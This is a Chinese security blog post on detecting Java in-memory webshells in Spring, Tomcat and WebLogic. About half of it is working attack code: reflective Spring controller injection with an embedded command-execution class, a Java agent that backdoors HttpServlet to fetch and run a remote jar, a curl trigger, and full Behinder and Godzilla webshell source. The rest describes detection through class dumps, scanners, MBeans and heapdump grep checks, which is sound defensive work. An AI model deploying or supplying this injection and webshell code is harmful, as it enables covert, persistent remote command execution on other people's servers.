一、前言
最近遇到一次真实的内存马排查case,之前自己也是有专门做过内存马查杀工具,于是重新回顾梳理,并把自己的一些方法分享出来。
二、内存马介绍
首先我们了解一下内存马注入的方法,有两种注入内存马的方式:
1、动态注入组件
2、通过Instrument修改内存class
2.1、动态注入组件
通过创建如 Listener、Filter、Servlet、Valve 等 java web 组件,并通过如反射等形式进行注册、替换、增加 handler进行处理。
这里动态地对Spring注入Controller,由于之前在网上找到的代码不兼容新的Spring接口,这里对代码进行修正,成功注入。
目标环境:JDK11 + Spring 2.7.18
package com.example.testspring;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
@RestController
public classTestController{
@GetMapping("/add_controller")
public String hello(){
try{
String className ="com.example.spring.InjectControl";
//加载com.example.spring.InjectControl类的字节码
String b64 ="yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
byte[]bytes=Base64.getDecoder().decode(b64);
java.lang.ClassLoader classLoader =Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 =ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class,int.class,int.class);
m0.setAccessible(true);
try{
m0.invoke(classLoader, className,bytes,0,bytes.length);
}catch (Exception e){
}
WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping =(org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得自定义controller中唯一的Method对象
Method method =(classLoader.loadClass(className).getDeclaredMethods())[0];
//在内存中动态注册 controller
Class<?> class1 =Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> method1 = class1.getDeclaredConstructor(String.class,PathPatternsRequestCondition.class,PatternsRequestCondition.class,
RequestMethodsRequestCondition.class,ParamsRequestCondition.class,HeadersRequestCondition.class,ConsumesRequestCondition.class,
ProducesRequestCondition.class,RequestConditionHolder.class,RequestMappingInfo.BuilderConfiguration.class);
method1.setAccessible(true);
RequestMappingInfo info =(RequestMappingInfo) method1.newInstance(
"test",new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),null,new RequestMethodsRequestCondition(RequestMethod.GET),
new ParamsRequestCondition(),new HeadersRequestCondition(),new ConsumesRequestCondition(),
new ProducesRequestCondition(),new RequestConditionHolder(null),new RequestMappingInfo.BuilderConfiguration()
);
////RequestMappingInfo抛弃了
////定义访问controller的URL地址
//PatternsRequestCondition url = new PatternsRequestCondition("/cmd");
////定义允许访问 controller 的 HTTP 方法(GET/POST)
//RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
//PathPatternsRequestCondition ppr = new PathPatternsRequestCondition(new PathPatternParser(),"/hahaha");
//RequestMappingInfo info = new RequestMappingInfo("test", url,ms, null, null, null, null,null);
r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);
} catch (Exception e){
e.printStackTrace();
}
return"test";
}
}
测试的时候需要注意:
1、jdk 21反射加载class会被禁止
2、JDK和Java版本的兼容,具体参考:https://endoflife.date/spring-boot
2.2、通过Instrument修改内存class
通过Java的Instrumentation或者系统的执行文件jvm.dll的方式调用redefineClasses、retransformClasses对内存的class进行修改。
比如这里我们通过java的Instrumentation修改jakarta.servlet.http.HttpServlet、javax.servlet.http.HttpServlet的逻辑,只要访问到Servlet就会触发我们的后门的逻辑。
具体代码如下:
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
publicclassAfterDemo{
publicstaticvoid agentmain(String agentArgs,Instrumentation inst){
System.out.println("hello I`m agentMain!!!");
Class<?>[] cLasses = inst.getAllLoadedClasses();
byte[] bArr =newbyte[0];
Map<String,Map<String,Object>> targetClasses =newHashMap<>();
Map<String,Object> targetClassJavaxMap =newHashMap<>();
targetClassJavaxMap.put("methodName","service");
List<String> paramJavaxClsStrList =newArrayList<>();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map<String,Object> targetClassJakartaMap =newHashMap<>();
targetClassJakartaMap.put("methodName","service");
List<String> paramJakartaClsStrList =newArrayList<>();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
ClassPool cPool =ClassPool.getDefault();
if(ServerDetector.isWebLogic()){
targetClasses.clear();
Map<String,Object> targetClassWeblogicMap =newHashMap<>();
targetClassWeblogicMap.put("methodName","execute");
List<String> paramWeblogicClsStrList =newArrayList<>();
paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;n"+
"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;n"+
"javax.servlet.http.HttpSession session = request.getSession();n"+
"String pathPattern="/linject";n"+
"if (request.getRequestURI().matches(pathPattern))n"+
"{n"+
" java.util.Map obj=new java.util.HashMap();n"+
" obj.put("request",request);n"+
" obj.put("response",response);n"+
" obj.put("session",session);n"+
" ClassLoader loader=this.getClass().getClassLoader();n"+
" if (request.getMethod().equals("POST"))n"+
" {n"+
" try{n"+
" String lUrl = request.getParameter("lUrl");n"+
" String lName = request.getParameter("lName");n"+
" java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};n"+
" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());n"+
" Class clazz = urlClassLoader.loadClass(lName);n"+
" java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();n"+
" for (int i = 0; i < methods.length; i++) {n"+
" System.out.println("method: " +methods[i].getName());n"+
" }n"+
" java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();n"+
" for (int i = 0; i < constructors.length; i++) {n"+
" System.out.println("constructor: " +constructors[i].getName());n"+
" }n"+
" Object obj = clazz.newInstance();n"+
" return;n"+
" }catch (Exception e){e.printStackTrace();}n"+
" }n"+
"}";
for(Class<?> cls : cLasses){
System.out.println(cls.getName());
if(targetClasses.keySet().contains(cls.getName())){
String targetClassName = cls.getName();
try{
System.out.println("found class:"+targetClassName);
if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){
shellCode = shellCode.replace("javax.servlet","jakarta.servlet");
}
ClassClassPath classPath =newClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List<CtClass> paramClsList =newArrayList<>();
for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){
paramClsList.add(cPool.get((String) clsName));
}
CtClass cClass = cPool.get(targetClassName);
String methodName = targetClasses.get(targetClassName).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));
cMethod.insertBefore(shellCode);
cClass.detach();
byte[] data = cClass.toBytecode();
inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});
}catch(Exception e){
e.printStackTrace();
}
break;
}
}
}
}
我们加载一个jar,然后对class进行实例化(里面包含我们的任意代码)。
curl -X POST 'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv
2.3、冰蝎 & 哥斯拉 分析
2.3.1、冰蝎分析
冰蝎马的代码如下:
<% @page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classU extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
returnsuper.defineClass(b,0, b.length);
}
}%><%
if(request.getMethod().equals("POST")){
String k ="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c =Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);
} %>
对木马的功能行模块化,需要使用对应的功能时,然后把对应的功能的字节码注入进行,然后通过classloader加载使用。
功能代码逻辑都在这些class中:Behinder/net/rebeyond/behinder/payload/java/
额外说一下,冰蝎支持java agent注入修改class,具体逻辑可以看tools_0.jar:
Behinder/net/rebeyond/behinder/resource/tools/tools_0.jar
2.3.2、哥斯拉分析
跟冰蝎是一样的,不过不同的是哥斯拉会把所有的功能集中到一个class而非模块化,当然一些插件除外。
<% !Stringxc="3c6e0b8a9c15224a";
Stringpass="pass";
Stringmd5= md5(pass + xc);
classXextendsClassLoader{
publicX(ClassLoader z){
super(z);
}
publicClassQ(byte[] cb){
returnsuper.defineClass(cb,0, cb.length);
}
}
publicbyte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipherc= javax.crypto.Cipher.getInstance("AES");
c.init(m ?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch(Exception e){
returnnull;
}
}
publicstaticStringmd5(String s){
Stringret=null;
try{
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0, s.length());
ret =newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}catch(Exception e){}
return ret;
}
publicstaticStringbase64Encode(byte[] bs)throwsException{
Class base64;
Stringvalue=null;
try{
base64 =Class.forName("java.util.Base64");
ObjectEncoder= base64.getMethod("getEncoder",null).invoke(base64,null);
value =(String)Encoder.getClass().getMethod("encodeToString",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
bs
});
}catch(Exception e){
try{
base64 =Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder= base64.newInstance();
value =(String)Encoder.getClass().getMethod("encode",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
bs
});
}catch(Exception e2){}
}
return value;
}
publicstaticbyte[] base64Decode(String bs)throwsException{
Class base64;
byte[] value =null;
try{
base64 =Class.forName("java.util.Base64");
Objectdecoder= base64.getMethod("getDecoder",null).invoke(base64,null);
value =(byte[]) decoder.getClass().getMethod("decode",newClass[]{
String.class
}).invoke(decoder,newObject[]{
bs
});
}catch(Exception e){
try{
base64 =Class.forName("sun.misc.BASE64Decoder");
Objectdecoder= base64.newInstance();
value =(byte[]) decoder.getClass().getMethod("decodeBuffer",newClass[]{
String.class
}).invoke(decoder,newObject[]{
bs
});
}catch(Exception e2){}
}
return value;
}%><%
try{
byte[] data = base64Decode(request.getParameter(pass));
data = x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStreamarrOut=newjava.io.ByteArrayOutputStream();
Objectf=((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(md5.substring(16));
}
}catch(Exception e){}%>
哥斯拉的功能class逻辑已反编译成java:https://pastebin.com/raw/mMv8pZZP
三、如何查杀
这里的查杀方案有很多,这里我之前也是写了一款查杀工具给内部使用,但都是大同小异,效果都比较一般(因为都能在jvm执行任意代码了,bypass手法比较多)。
3.1、直接dump敏感的class
我们直接dump一些比较敏感的类(在web请求流程中并且能拿到request和response的类),因为攻击者可以使用java agent对class进行修改,让自己的请求进行后门逻辑。
之前笔者收集了一些class(也不全),供大家参考:
javax.servlet.http.HttpServlet // tomcat 修改service方法
javax.servlet.http.HttpServletRequest // tomcat 修改 getQueryString
org.apache.catalina.core.ApplicationFilterChain // tomcat filter
org.apache.tomcat.websocket.server.WsFilter // tomcat websocket
org.springframework.web.servlet.DispatcherServlet // spring
weblogic.servlet.internal.ServletStubImpl // weblogic
然后我们检查这里的逻辑是否被修改。
2.2、查看注册的组件
我们直接获取对应的Context,然后获取对应的Listener、Filter、Servlet的列表
比如优秀的开源工具:https://github.com/c0ny1/java-memshell-scanner,不过这里需要通过jsp,我们可以通过arthas进行快速查杀。
3.3、根据类的属性dump
根据危险注解、类名、继承的类、classloader、getResource为空等信息 dump 可疑的组件,结合人工反编译后进行分析。
当初自己开发的工具也是按照这个方法开发的,但是这种方法是有缺陷的。
1、dump class速度太慢了
2、会有漏水情况
也有开源工具:https://github.com/LandGrey/copagent。
3.3.1、classloader属性
我们以及classloader角度为例子,首先我们遍历classloader,然后寻找敏感的classloader(内存马也会自定义claassloader)
成功找到哥斯拉内存马
3.4、jmx - Mbean
在注册组件的时候会注册mbean,这样会留下痕迹,我们可以查看所有的mbean,查看注册的路由或者class是否正常,比较快捷简单,也是一个不错的方法。
3.5、三条命令查杀冰蝎、哥斯拉 - 内存检测
根据我们之前分析,无论冰蝎和哥斯拉都会把的后门代码(执行命令、文件管理)类注入内存中,所以我们只要分析这些后门类的即可(因为类加载器的特征比较少),这里我以进入内存马页面会自动触发的功能(内存马展示基础信息类)的一些特征分析,发现一些字符串特征,为了减少误报,需要满足三个特征即告警。
下图是我注入冰蝎、哥斯拉两个内存马
# dump内存
jmap -dump:live,format=b,file=heapdump.hprof pid
# 检测Godzilla
if grep -q 'getBasicsInfo' heapdump.hprof && grep -q 'srcFileName' heapdump.hprof && grep -q 'destFileName' heapdump.hprof;then echo 'exist Godzilla';else echo '';fi;
# 检测冰蝎
if grep -q 'basicInfo' heapdump.hprof && grep -q 'currentPath' heapdump.hprof && grep -q 'driveList' heapdump.hprof;then echo 'exist behinder';else echo '';fi;
四、总结
内存马姿势多种多样,内存马的检测方法同样百花齐放。从上面的分析来说可以总结为“80万对60万,优势在我”是攻方,比如通过三条命令发现内存马,发现的只是已有的特征,攻方也可以修改这些特征,所以还需要另辟蹊径。笔者找到一个在实验环境表现不错的第二个新方法,等实践不错后再分享出来。
原文始发于微信公众号(lufeisec):三条命令查杀冰蝎、哥斯拉内存马
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论